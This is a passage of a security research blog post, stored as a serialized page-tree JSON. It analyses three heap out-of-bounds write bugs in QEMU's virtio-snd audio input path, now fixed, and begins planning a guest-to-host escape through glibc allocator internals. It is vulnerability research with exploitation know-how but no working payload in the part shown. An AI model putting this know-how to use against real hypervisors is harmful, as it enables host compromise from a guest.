buffer",{"type":24,"tag":83,"props":124865,"children":124866},{"style":107},[124867],{"type":29,"value":13502},{"type":24,"tag":83,"props":124869,"children":124870},{"style":137},[124871],{"type":29,"value":123793},{"type":24,"tag":83,"props":124873,"children":124874},{"style":107},[124875],{"type":29,"value":124876},")));\n",{"type":24,"tag":83,"props":124878,"children":124879},{"class":85,"line":23283},[124880,124884,124888,124892],{"type":24,"tag":83,"props":124881,"children":124882},{"style":117},[124883],{"type":29,"value":103053},{"type":24,"tag":83,"props":124885,"children":124886},{"style":107},[124887],{"type":29,"value":223},{"type":24,"tag":83,"props":124889,"children":124890},{"style":143},[124891],{"type":29,"value":20362},{"type":24,"tag":83,"props":124893,"children":124894},{"style":107},[124895],{"type":29,"value":124896},"size) {\n",{"type":24,"tag":83,"props":124898,"children":124899},{"class":85,"line":23291},[124900,124905,124909,124913],{"type":24,"tag":83,"props":124901,"children":124902},{"style":107},[124903],{"type":29,"value":124904},"                    available ",{"type":24,"tag":83,"props":124906,"children":124907},{"style":143},[124908],{"type":29,"value":1275},{"type":24,"tag":83,"props":124910,"children":124911},{"style":245},[124912],{"type":29,"value":248},{"type":24,"tag":83,"props":124914,"children":124915},{"style":107},[124916],{"type":29,"value":321},{"type":24,"tag":83,"props":124918,"children":124919},{"class":85,"line":23299},[124920,124924],{"type":24,"tag":83,"props":124921,"children":124922},{"style":117},[124923],{"type":29,"value":124718},{"type":24,"tag":83,"props":124925,"children":124926},{"style":107},[124927],{"type":29,"value":321},{"type":24,"tag":83,"props":124929,"children":124930},{"class":85,"line":23308},[124931],{"type":24,"tag":83,"props":124932,"children":124933},{"style":107},[124934],{"type":29,"value":70786},{"type":24,"tag":83,"props":124936,"children":124937},{"class":85,"line":23350},[124938,124942,124946,124950,124954],{"type":24,"tag":83,"props":124939,"children":124940},{"style":137},[124941],{"type":29,"value":124595},{"type":24,"tag":83,"props":124943,"children":124944},{"style":107},[124945],{"type":29,"value":13502},{"type":24,"tag":83,"props":124947,"children":124948},{"style":137},[124949],{"type":29,"value":123793},{"type":24,"tag":83,"props":124951,"children":124952},{"style":143},[124953],{"type":29,"value":14807},{"type":24,"tag":83,"props":124955,"children":124956},{"style":107},[124957],{"type":29,"value":124135},{"type":24,"tag":83,"props":124959,"children":124960},{"class":85,"line":23383},[124961,124966,124970],{"type":24,"tag":83,"props":124962,"children":124963},{"style":107},[124964],{"type":29,"value":124965},"                available ",{"type":24,"tag":83,"props":124967,"children":124968},{"style":143},[124969],{"type":29,"value":103518},{"type":24,"tag":83,"props":124971,"children":124972},{"style":107},[124973],{"type":29,"value":124135},{"type":24,"tag":83,"props":124975,"children":124976},{"class":85,"line":23391},[124977],{"type":24,"tag":83,"props":124978,"children":124979},{"style":107},[124980],{"type":29,"value":124981},"                [...]\n",{"type":24,"tag":83,"props":124983,"children":124984},{"class":85,"line":23399},[124985],{"type":24,"tag":83,"props":124986,"children":124987},{"style":107},[124988],{"type":29,"value":58599},{"type":24,"tag":83,"props":124990,"children":124991},{"class":85,"line":23408},[124992],{"type":24,"tag":83,"props":124993,"children":124994},{"style":107},[124995],{"type":29,"value":3092},{"type":24,"tag":83,"props":124997,"children":124998},{"class":85,"line":23484},[124999],{"type":24,"tag":83,"props":125000,"children":125001},{"style":107},[125002],{"type":29,"value":446},{"type":24,"tag":83,"props":125004,"children":125005},{"class":85,"line":23517},[125006],{"type":24,"tag":83,"props":125007,"children":125008},{"style":107},[125009],{"type":29,"value":464},{"type":24,"tag":25,"props":125011,"children":125012},{},[125013,125014,125019,125020,125026,125028,125034,125036,125041,125042,125047,125049,125054],{"type":29,"value":123915},{"type":24,"tag":32,"props":125015,"children":125017},{"className":125016},[],[125018],{"type":29,"value":123921},{"type":29,"value":568},{"type":24,"tag":32,"props":125021,"children":125023},{"className":125022},[],[125024],{"type":29,"value":125025},"max_size",{"type":29,"value":125027}," is set to ",{"type":24,"tag":32,"props":125029,"children":125031},{"className":125030},[],[125032],{"type":29,"value":125033},"iov_size(in_sg, in_num)",{"type":29,"value":125035},". Both ",{"type":24,"tag":32,"props":125037,"children":125039},{"className":125038},[],[125040],{"type":29,"value":123646},{"type":29,"value":2287},{"type":24,"tag":32,"props":125043,"children":125045},{"className":125044},[],[125046],{"type":29,"value":123663},{"type":29,"value":125048}," are the same guest-controlled fields from ",{"type":24,"tag":32,"props":125050,"children":125052},{"className":125051},[],[125053],{"type":29,"value":123298},{"type":29,"value":161},{"type":24,"tag":25,"props":125056,"children":125057},{},[125058,125060,125065,125067,125073,125075,125081,125083,125089],{"type":29,"value":125059},"Later, at ",{"type":24,"tag":32,"props":125061,"children":125063},{"className":125062},[],[125064],{"type":29,"value":123956},{"type":29,"value":125066},", the code checks whether ",{"type":24,"tag":32,"props":125068,"children":125070},{"className":125069},[],[125071],{"type":29,"value":125072},"buffer->size >= max_size",{"type":29,"value":125074},". In the RX path, ",{"type":24,"tag":32,"props":125076,"children":125078},{"className":125077},[],[125079],{"type":29,"value":125080},"buffer->size",{"type":29,"value":125082}," tracks how many bytes have been written into ",{"type":24,"tag":32,"props":125084,"children":125086},{"className":125085},[],[125087],{"type":29,"value":125088},"buffer->data",{"type":29,"value":125090},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":25,"props":125092,"children":125093},{},[125094,125096,125101,125103,125109,125111,125116,125118,125124],{"type":29,"value":125095},"However, this does not match the allocation logic in ",{"type":24,"tag":32,"props":125097,"children":125099},{"className":125098},[],[125100],{"type":29,"value":123298},{"type":29,"value":125102},", which used: ",{"type":24,"tag":32,"props":125104,"children":125106},{"className":125105},[],[125107],{"type":29,"value":125108},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":125110},". In other words, the allocation subtracts ",{"type":24,"tag":32,"props":125112,"children":125114},{"className":125113},[],[125115],{"type":29,"value":124022},{"type":29,"value":125117},", but the later bound in ",{"type":24,"tag":32,"props":125119,"children":125121},{"className":125120},[],[125122],{"type":29,"value":125123},"virtio_snd_pcm_in_cb",{"type":29,"value":125125}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":24,"tag":25,"props":125127,"children":125128},{},[125129,125131,125136,125138,125144,125146,125152,125154,125159,125161,125167,125169,125175,125177,125182,125184,125189],{"type":29,"value":125130},"Finally, at ",{"type":24,"tag":32,"props":125132,"children":125134},{"className":125133},[],[125135],{"type":29,"value":123980},{"type":29,"value":125137},", the code calls ",{"type":24,"tag":32,"props":125139,"children":125141},{"className":125140},[],[125142],{"type":29,"value":125143},"AUD_read",{"type":29,"value":125145}," with the following limit:\n",{"type":24,"tag":32,"props":125147,"children":125149},{"className":125148},[],[125150],{"type":29,"value":125151},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":125153},". Notice how this bound does not take ",{"type":24,"tag":32,"props":125155,"children":125157},{"className":125156},[],[125158],{"type":29,"value":125025},{"type":29,"value":125160}," into account at all. That means if ",{"type":24,"tag":32,"props":125162,"children":125164},{"className":125163},[],[125165],{"type":29,"value":125166},"available",{"type":29,"value":125168}," is larger than the allocated buffer, and ",{"type":24,"tag":32,"props":125170,"children":125172},{"className":125171},[],[125173],{"type":29,"value":125174},"stream->params.period_bytes",{"type":29,"value":125176}," is also larger than the allocated buffer, ",{"type":24,"tag":32,"props":125178,"children":125180},{"className":125179},[],[125181],{"type":29,"value":125143},{"type":29,"value":125183}," will write past the end of ",{"type":24,"tag":32,"props":125185,"children":125187},{"className":125186},[],[125188],{"type":29,"value":125088},{"type":29,"value":125190}," - the third, and final, bug we found.",{"type":24,"tag":25,"props":125192,"children":125193},{},[125194,125196,125201,125203,125209],{"type":29,"value":125195},"Looking further at the code, we can see that ",{"type":24,"tag":32,"props":125197,"children":125199},{"className":125198},[],[125200],{"type":29,"value":125174},{"type":29,"value":125202}," is fully guest-controlled by issuing a ",{"type":24,"tag":32,"props":125204,"children":125206},{"className":125205},[],[125207],{"type":29,"value":125208},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":125210}," request:",{"type":24,"tag":73,"props":125212,"children":125214},{"code":125213,"language":2891,"meta":7,"className":16250,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[125215],{"type":24,"tag":32,"props":125216,"children":125217},{"__ignoreMap":7},[125218,125226,125255,125272,125292,125299,125316,125323,125330,125337,125359,125366,125373,125380,125426,125469,125513,125521,125558,125594,125630,125637,125654],{"type":24,"tag":83,"props":125219,"children":125220},{"class":85,"line":86},[125221],{"type":24,"tag":83,"props":125222,"children":125223},{"style":90},[125224],{"type":29,"value":125225},"static\n",{"type":24,"tag":83,"props":125227,"children":125228},{"class":85,"line":113},[125229,125233,125238,125243,125247,125251],{"type":24,"tag":83,"props":125230,"children":125231},{"style":90},[125232],{"type":29,"value":57647},{"type":24,"tag":83,"props":125234,"children":125235},{"style":101},[125236],{"type":29,"value":125237}," virtio_snd_set_pcm_params",{"type":24,"tag":83,"props":125239,"children":125240},{"style":107},[125241],{"type":29,"value":125242},"(VirtIOSound ",{"type":24,"tag":83,"props":125244,"children":125245},{"style":143},[125246],{"type":29,"value":4315},{"type":24,"tag":83,"props":125248,"children":125249},{"style":137},[125250],{"type":29,"value":10399},{"type":24,"tag":83,"props":125252,"children":125253},{"style":107},[125254],{"type":29,"value":989},{"type":24,"tag":83,"props":125256,"children":125257},{"class":85,"line":128},[125258,125263,125268],{"type":24,"tag":83,"props":125259,"children":125260},{"style":90},[125261],{"type":29,"value":125262},"                                   uint32_t",{"type":24,"tag":83,"props":125264,"children":125265},{"style":137},[125266],{"type":29,"value":125267}," stream_id",{"type":24,"tag":83,"props":125269,"children":125270},{"style":107},[125271],{"type":29,"value":989},{"type":24,"tag":83,"props":125273,"children":125274},{"class":85,"line":183},[125275,125280,125284,125288],{"type":24,"tag":83,"props":125276,"children":125277},{"style":107},[125278],{"type":29,"value":125279},"                                   virtio_snd_pcm_set_params ",{"type":24,"tag":83,"props":125281,"children":125282},{"style":143},[125283],{"type":29,"value":4315},{"type":24,"tag":83,"props":125285,"children":125286},{"style":137},[125287],{"type":29,"value":1140},{"type":24,"tag":83,"props":125289,"children":125290},{"style":107},[125291],{"type":29,"value":2905},{"type":24,"tag":83,"props":125293,"children":125294},{"class":85,"line":203},[125295],{"type":24,"tag":83,"props":125296,"children":125297},{"style":107},[125298],{"type":29,"value":10628},{"type":24,"tag":83,"props":125300,"children":125301},{"class":85,"line":212},[125302,125307,125311],{"type":24,"tag":83,"props":125303,"children":125304},{"style":107},[125305],{"type":29,"value":125306},"    virtio_snd_pcm_set_params ",{"type":24,"tag":83,"props":125308,"children":125309},{"style":143},[125310],{"type":29,"value":4315},{"type":24,"tag":83,"props":125312,"children":125313},{"style":107},[125314],{"type":29,"value":125315},"st_params;\n",{"type":24,"tag":83,"props":125317,"children":125318},{"class":85,"line":256},[125319],{"type":24,"tag":83,"props":125320,"children":125321},{"emptyLinePlaceholder":16},[125322],{"type":29,"value":3422},{"type":24,"tag":83,"props":125324,"children":125325},{"class":85,"line":270},[125326],{"type":24,"tag":83,"props":125327,"children":125328},{"style":107},[125329],{"type":29,"value":104334},{"type":24,"tag":83,"props":125331,"children":125332},{"class":85,"line":302},[125333],{"type":24,"tag":83,"props":125334,"children":125335},{"emptyLinePlaceholder":16},[125336],{"type":29,"value":3422},{"type":24,"tag":83,"props":125338,"children":125339},{"class":85,"line":324},[125340,125345,125349,125354],{"type":24,"tag":83,"props":125341,"children":125342},{"style":107},[125343],{"type":29,"value":125344},"    st_params ",{"type":24,"tag":83,"props":125346,"children":125347},{"style":143},[125348],{"type":29,"value":1275},{"type":24,"tag":83,"props":125350,"children":125351},{"style":101},[125352],{"type":29,"value":125353}," virtio_snd_pcm_get_params",{"type":24,"tag":83,"props":125355,"children":125356},{"style":107},[125357],{"type":29,"value":125358},"(s, stream_id);\n",{"type":24,"tag":83,"props":125360,"children":125361},{"class":85,"line":345},[125362],{"type":24,"tag":83,"props":125363,"children":125364},{"emptyLinePlaceholder":16},[125365],{"type":29,"value":3422},{"type":24,"tag":83,"props":125367,"children":125368},{"class":85,"line":358},[125369],{"type":24,"tag":83,"props":125370,"children":125371},{"style":107},[125372],{"type":29,"value":104334},{"type":24,"tag":83,"props":125374,"children":125375},{"class":85,"line":367},[125376],{"type":24,"tag":83,"props":125377,"children":125378},{"emptyLinePlaceholder":16},[125379],{"type":29,"value":3422},{"type":24,"tag":83,"props":125381,"children":125382},{"class":85,"line":406},[125383,125388,125392,125397,125401,125406,125410,125414,125418,125422],{"type":24,"tag":83,"props":125384,"children":125385},{"style":137},[125386],{"type":29,"value":125387},"    st_params",{"type":24,"tag":83,"props":125389,"children":125390},{"style":107},[125391],{"type":29,"value":13502},{"type":24,"tag":83,"props":125393,"children":125394},{"style":137},[125395],{"type":29,"value":125396},"buffer_bytes",{"type":24,"tag":83,"props":125398,"children":125399},{"style":143},[125400],{"type":29,"value":146},{"type":24,"tag":83,"props":125402,"children":125403},{"style":101},[125404],{"type":29,"value":125405}," le32_to_cpu",{"type":24,"tag":83,"props":125407,"children":125408},{"style":107},[125409],{"type":29,"value":558},{"type":24,"tag":83,"props":125411,"children":125412},{"style":137},[125413],{"type":29,"value":1140},{"type":24,"tag":83,"props":125415,"children":125416},{"style":107},[125417],{"type":29,"value":13502},{"type":24,"tag":83,"props":125419,"children":125420},{"style":137},[125421],{"type":29,"value":125396},{"type":24,"tag":83,"props":125423,"children":125424},{"style":107},[125425],{"type":29,"value":581},{"type":24,"tag":83,"props":125427,"children":125428},{"class":85,"line":427},[125429,125433,125437,125441,125445,125449,125453,125457,125461,125465],{"type":24,"tag":83,"props":125430,"children":125431},{"style":137},[125432],{"type":29,"value":125387},{"type":24,"tag":83,"props":125434,"children":125435},{"style":107},[125436],{"type":29,"value":13502},{"type":24,"tag":83,"props":125438,"children":125439},{"style":137},[125440],{"type":29,"value":124846},{"type":24,"tag":83,"props":125442,"children":125443},{"style":143},[125444],{"type":29,"value":146},{"type":24,"tag":83,"props":125446,"children":125447},{"style":101},[125448],{"type":29,"value":125405},{"type":24,"tag":83,"props":125450,"children":125451},{"style":107},[125452],{"type":29,"value":558},{"type":24,"tag":83,"props":125454,"children":125455},{"style":137},[125456],{"type":29,"value":1140},{"type":24,"tag":83,"props":125458,"children":125459},{"style":107},[125460],{"type":29,"value":13502},{"type":24,"tag":83,"props":125462,"children":125463},{"style":137},[125464],{"type":29,"value":124846},{"type":24,"tag":83,"props":125466,"children":125467},{"style":107},[125468],{"type":29,"value":581},{"type":24,"tag":83,"props":125470,"children":125471},{"class":85,"line":440},[125472,125476,125480,125485,125489,125493,125497,125501,125505,125509],{"type":24,"tag":83,"props":125473,"children":125474},{"style":137},[125475],{"type":29,"value":125387},{"type":24,"tag":83,"props":125477,"children":125478},{"style":107},[125479],{"type":29,"value":13502},{"type":24,"tag":83,"props":125481,"children":125482},{"style":137},[125483],{"type":29,"value":125484},"features",{"type":24,"tag":83,"props":125486,"children":125487},{"style":143},[125488],{"type":29,"value":146},{"type":24,"tag":83,"props":125490,"children":125491},{"style":101},[125492],{"type":29,"value":125405},{"type":24,"tag":83,"props":125494,"children":125495},{"style":107},[125496],{"type":29,"value":558},{"type":24,"tag":83,"props":125498,"children":125499},{"style":137},[125500],{"type":29,"value":1140},{"type":24,"tag":83,"props":125502,"children":125503},{"style":107},[125504],{"type":29,"value":13502},{"type":24,"tag":83,"props":125506,"children":125507},{"style":137},[125508],{"type":29,"value":125484},{"type":24,"tag":83,"props":125510,"children":125511},{"style":107},[125512],{"type":29,"value":581},{"type":24,"tag":83,"props":125514,"children":125515},{"class":85,"line":449},[125516],{"type":24,"tag":83,"props":125517,"children":125518},{"style":2735},[125519],{"type":29,"value":125520},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":83,"props":125522,"children":125523},{"class":85,"line":458},[125524,125528,125532,125537,125541,125546,125550,125554],{"type":24,"tag":83,"props":125525,"children":125526},{"style":137},[125527],{"type":29,"value":125387},{"type":24,"tag":83,"props":125529,"children":125530},{"style":107},[125531],{"type":29,"value":13502},{"type":24,"tag":83,"props":125533,"children":125534},{"style":137},[125535],{"type":29,"value":125536},"channels",{"type":24,"tag":83,"props":125538,"children":125539},{"style":143},[125540],{"type":29,"value":146},{"type":24,"tag":83,"props":125542,"children":125543},{"style":137},[125544],{"type":29,"value":125545}," params",{"type":24,"tag":83,"props":125547,"children":125548},{"style":107},[125549],{"type":29,"value":13502},{"type":24,"tag":83,"props":125551,"children":125552},{"style":137},[125553],{"type":29,"value":125536},{"type":24,"tag":83,"props":125555,"children":125556},{"style":107},[125557],{"type":29,"value":321},{"type":24,"tag":83,"props":125559,"children":125560},{"class":85,"line":1065},[125561,125565,125569,125574,125578,125582,125586,125590],{"type":24,"tag":83,"props":125562,"children":125563},{"style":137},[125564],{"type":29,"value":125387},{"type":24,"tag":83,"props":125566,"children":125567},{"style":107},[125568],{"type":29,"value":13502},{"type":24,"tag":83,"props":125570,"children":125571},{"style":137},[125572],{"type":29,"value":125573},"format",{"type":24,"tag":83,"props":125575,"children":125576},{"style":143},[125577],{"type":29,"value":146},{"type":24,"tag":83,"props":125579,"children":125580},{"style":137},[125581],{"type":29,"value":125545},{"type":24,"tag":83,"props":125583,"children":125584},{"style":107},[125585],{"type":29,"value":13502},{"type":24,"tag":83,"props":125587,"children":125588},{"style":137},[125589],{"type":29,"value":125573},{"type":24,"tag":83,"props":125591,"children":125592},{"style":107},[125593],{"type":29,"value":321},{"type":24,"tag":83,"props":125595,"children":125596},{"class":85,"line":1668},[125597,125601,125605,125610,125614,125618,125622,125626],{"type":24,"tag":83,"props":125598,"children":125599},{"style":137},[125600],{"type":29,"value":125387},{"type":24,"tag":83,"props":125602,"children":125603},{"style":107},[125604],{"type":29,"value":13502},{"type":24,"tag":83,"props":125606,"children":125607},{"style":137},[125608],{"type":29,"value":125609},"rate",{"type":24,"tag":83,"props":125611,"children":125612},{"style":143},[125613],{"type":29,"value":146},{"type":24,"tag":83,"props":125615,"children":125616},{"style":137},[125617],{"type":29,"value":125545},{"type":24,"tag":83,"props":125619,"children":125620},{"style":107},[125621],{"type":29,"value":13502},{"type":24,"tag":83,"props":125623,"children":125624},{"style":137},[125625],{"type":29,"value":125609},{"type":24,"tag":83,"props":125627,"children":125628},{"style":107},[125629],{"type":29,"value":321},{"type":24,"tag":83,"props":125631,"children":125632},{"class":85,"line":1713},[125633],{"type":24,"tag":83,"props":125634,"children":125635},{"emptyLinePlaceholder":16},[125636],{"type":29,"value":3422},{"type":24,"tag":83,"props":125638,"children":125639},{"class":85,"line":1730},[125640,125644,125649],{"type":24,"tag":83,"props":125641,"children":125642},{"style":117},[125643],{"type":29,"value":16725},{"type":24,"tag":83,"props":125645,"children":125646},{"style":101},[125647],{"type":29,"value":125648}," cpu_to_le32",{"type":24,"tag":83,"props":125650,"children":125651},{"style":107},[125652],{"type":29,"value":125653},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":83,"props":125655,"children":125656},{"class":85,"line":1770},[125657],{"type":24,"tag":83,"props":125658,"children":125659},{"style":107},[125660],{"type":29,"value":464},{"type":24,"tag":25,"props":125662,"children":125663},{},[125664,125666,125671,125673,125679,125681,125686,125688,125693,125695,125701,125702,125707],{"type":29,"value":125665},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":32,"props":125667,"children":125669},{"className":125668},[],[125670],{"type":29,"value":3166},{"type":29,"value":125672},") and signed (",{"type":24,"tag":32,"props":125674,"children":125676},{"className":125675},[],[125677],{"type":29,"value":125678},"s8",{"type":29,"value":125680},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":32,"props":125682,"children":125684},{"className":125683},[],[125685],{"type":29,"value":29191},{"type":29,"value":125687}," in ",{"type":24,"tag":32,"props":125689,"children":125691},{"className":125690},[],[125692],{"type":29,"value":3166},{"type":29,"value":125694},", but ",{"type":24,"tag":32,"props":125696,"children":125698},{"className":125697},[],[125699],{"type":29,"value":125700},"0x00",{"type":29,"value":125687},{"type":24,"tag":32,"props":125703,"children":125705},{"className":125704},[],[125706],{"type":29,"value":125678},{"type":29,"value":161},{"type":24,"tag":18531,"props":125709,"children":125710},{},[],{"type":24,"tag":25,"props":125712,"children":125713},{},[125714],{"type":29,"value":125715},"To summarize:",{"type":24,"tag":63,"props":125717,"children":125718},{},[125719,125738,125756],{"type":24,"tag":67,"props":125720,"children":125721},{},[125722,125724,125729,125731,125736],{"type":29,"value":125723},"an integer underflow in the ",{"type":24,"tag":32,"props":125725,"children":125727},{"className":125726},[],[125728],{"type":29,"value":123793},{"type":29,"value":125730}," calculation in ",{"type":24,"tag":32,"props":125732,"children":125734},{"className":125733},[],[125735],{"type":29,"value":123298},{"type":29,"value":125737},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":67,"props":125739,"children":125740},{},[125741,125743,125748,125749,125754],{"type":29,"value":125742},"a mismatch in the ",{"type":24,"tag":32,"props":125744,"children":125746},{"className":125745},[],[125747],{"type":29,"value":125025},{"type":29,"value":125730},{"type":24,"tag":32,"props":125750,"children":125752},{"className":125751},[],[125753],{"type":29,"value":125123},{"type":29,"value":125755},", leading to at most 8-byte OOB write",{"type":24,"tag":67,"props":125757,"children":125758},{},[125759,125761,125766,125768,125773,125775,125780],{"type":29,"value":125760},"a missing bound in the ",{"type":24,"tag":32,"props":125762,"children":125764},{"className":125763},[],[125765],{"type":29,"value":123793},{"type":29,"value":125767}," passed to ",{"type":24,"tag":32,"props":125769,"children":125771},{"className":125770},[],[125772],{"type":29,"value":125143},{"type":29,"value":125774},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":32,"props":125776,"children":125778},{"className":125777},[],[125779],{"type":29,"value":125166},{"type":29,"value":82003},{"type":24,"tag":25,"props":125782,"children":125783},{},[125784,125786,125791,125793,125798,125800,125806],{"type":29,"value":125785},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":32,"props":125787,"children":125789},{"className":125788},[],[125790],{"type":29,"value":125166},{"type":29,"value":125792},", but in our setup with the ALSA backend, ",{"type":24,"tag":32,"props":125794,"children":125796},{"className":125795},[],[125797],{"type":29,"value":125166},{"type":29,"value":125799}," was consistently around ",{"type":24,"tag":32,"props":125801,"children":125803},{"className":125802},[],[125804],{"type":29,"value":125805},"4096",{"type":29,"value":161},{"type":24,"tag":25,"props":125808,"children":125809},{},[125810,125812,125819,125820,125827],{"type":29,"value":125811},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":2033,"props":125813,"children":125816},{"href":125814,"rel":125815},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[2037],[125817],{"type":29,"value":125818},"commit 1",{"type":29,"value":568},{"type":24,"tag":2033,"props":125821,"children":125824},{"href":125822,"rel":125823},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[2037],[125825],{"type":29,"value":125826},"commit 2",{"type":29,"value":125828},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":51,"props":125830,"children":125831},{"id":99641},[125832],{"type":29,"value":99644},{"type":24,"tag":25,"props":125834,"children":125835},{},[125836],{"type":29,"value":125837},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":25,"props":125839,"children":125840},{},[125841],{"type":29,"value":125842},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":1818,"props":125844,"children":125846},{"id":125845},"achieving-a-better-primitive",[125847],{"type":29,"value":125848},"Achieving a Better Primitive",{"type":24,"tag":25,"props":125850,"children":125851},{},[125852],{"type":29,"value":125853},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":25,"props":125855,"children":125856},{},[125857],{"type":29,"value":125858},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":25,"props":125860,"children":125861},{},[125862],{"type":29,"value":125863},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":18631,"props":125865,"children":125867},{"id":125866},"glibc-allocator",[125868],{"type":29,"value":125869},"Glibc Allocator",{"type":24,"tag":25,"props":125871,"children":125872},{},[125873,125875,125882],{"type":29,"value":125874},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":2033,"props":125876,"children":125879},{"href":125877,"rel":125878},"https://github.com/shellphish/how2heap",[2037],[125880],{"type":29,"value":125881},"how2heap",{"type":29,"value":161},{"type":24,"tag":37071,"props":125884,"children":125886},{"id":125885},"chunk-layout-and-bins",[125887],{"type":29,"value":125888},"Chunk Layout and Bins",{"type":24,"tag":25,"props":125890,"children":125891},{},[125892],{"type":29,"value":125893},"A chunk looks like this:",{"type":24,"tag":73,"props":125895,"children":125897},{"code":125896},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[125898],{"type":24,"tag":32,"props":125899,"children":125900},{"__ignoreMap":7},[125901],{"type":29,"value":125896},{"type":24,"tag":25,"props":125903,"children":125904},{},[125905,125907,125913,125915,125921,125922,125927,125928,125934,125936,125941,125943,125948,125950,125956,125957,125963,125965,125971],{"type":29,"value":125906},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":32,"props":125908,"children":125910},{"className":125909},[],[125911],{"type":29,"value":125912},"prev_size",{"type":29,"value":125914}," field at offset ",{"type":24,"tag":32,"props":125916,"children":125918},{"className":125917},[],[125919],{"type":29,"value":125920},"0x0",{"type":29,"value":37273},{"type":24,"tag":32,"props":125923,"children":125925},{"className":125924},[],[125926],{"type":29,"value":123793},{"type":29,"value":125914},{"type":24,"tag":32,"props":125929,"children":125931},{"className":125930},[],[125932],{"type":29,"value":125933},"0x8",{"type":29,"value":125935},". As the name suggests, ",{"type":24,"tag":32,"props":125937,"children":125939},{"className":125938},[],[125940],{"type":29,"value":125912},{"type":29,"value":125942}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":32,"props":125944,"children":125946},{"className":125945},[],[125947],{"type":29,"value":123793},{"type":29,"value":125949}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":32,"props":125951,"children":125953},{"className":125952},[],[125954],{"type":29,"value":125955},"PREV_INUSE",{"type":29,"value":2287},{"type":24,"tag":32,"props":125958,"children":125960},{"className":125959},[],[125961],{"type":29,"value":125962},"IS_MMAPPED",{"type":29,"value":125964}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":32,"props":125966,"children":125968},{"className":125967},[],[125969],{"type":29,"value":125970},"0x10",{"type":29,"value":161},{"type":24,"tag":25,"props":125973,"children":125974},{},[125975],{"type":29,"value":125976},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":37071,"props":125978,"children":125980},{"id":125979},"free-path",[125981],{"type":29,"value":125982},"free() path",{"type":24,"tag":25,"props":125984,"children":125985},{},[125986,125988,125994],{"type":29,"value":125987},"Let’s first look at the ",{"type":24,"tag":32,"props":125989,"children":125991},{"className":125990},[],[125992],{"type":29,"value":125993},"free()",{"type":29,"value":125995}," path in glibc 2.40:",{"type":24,"tag":73,"props":125997,"children":125999},{"code":125998,"language":2891,"meta":7,"className":16250,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    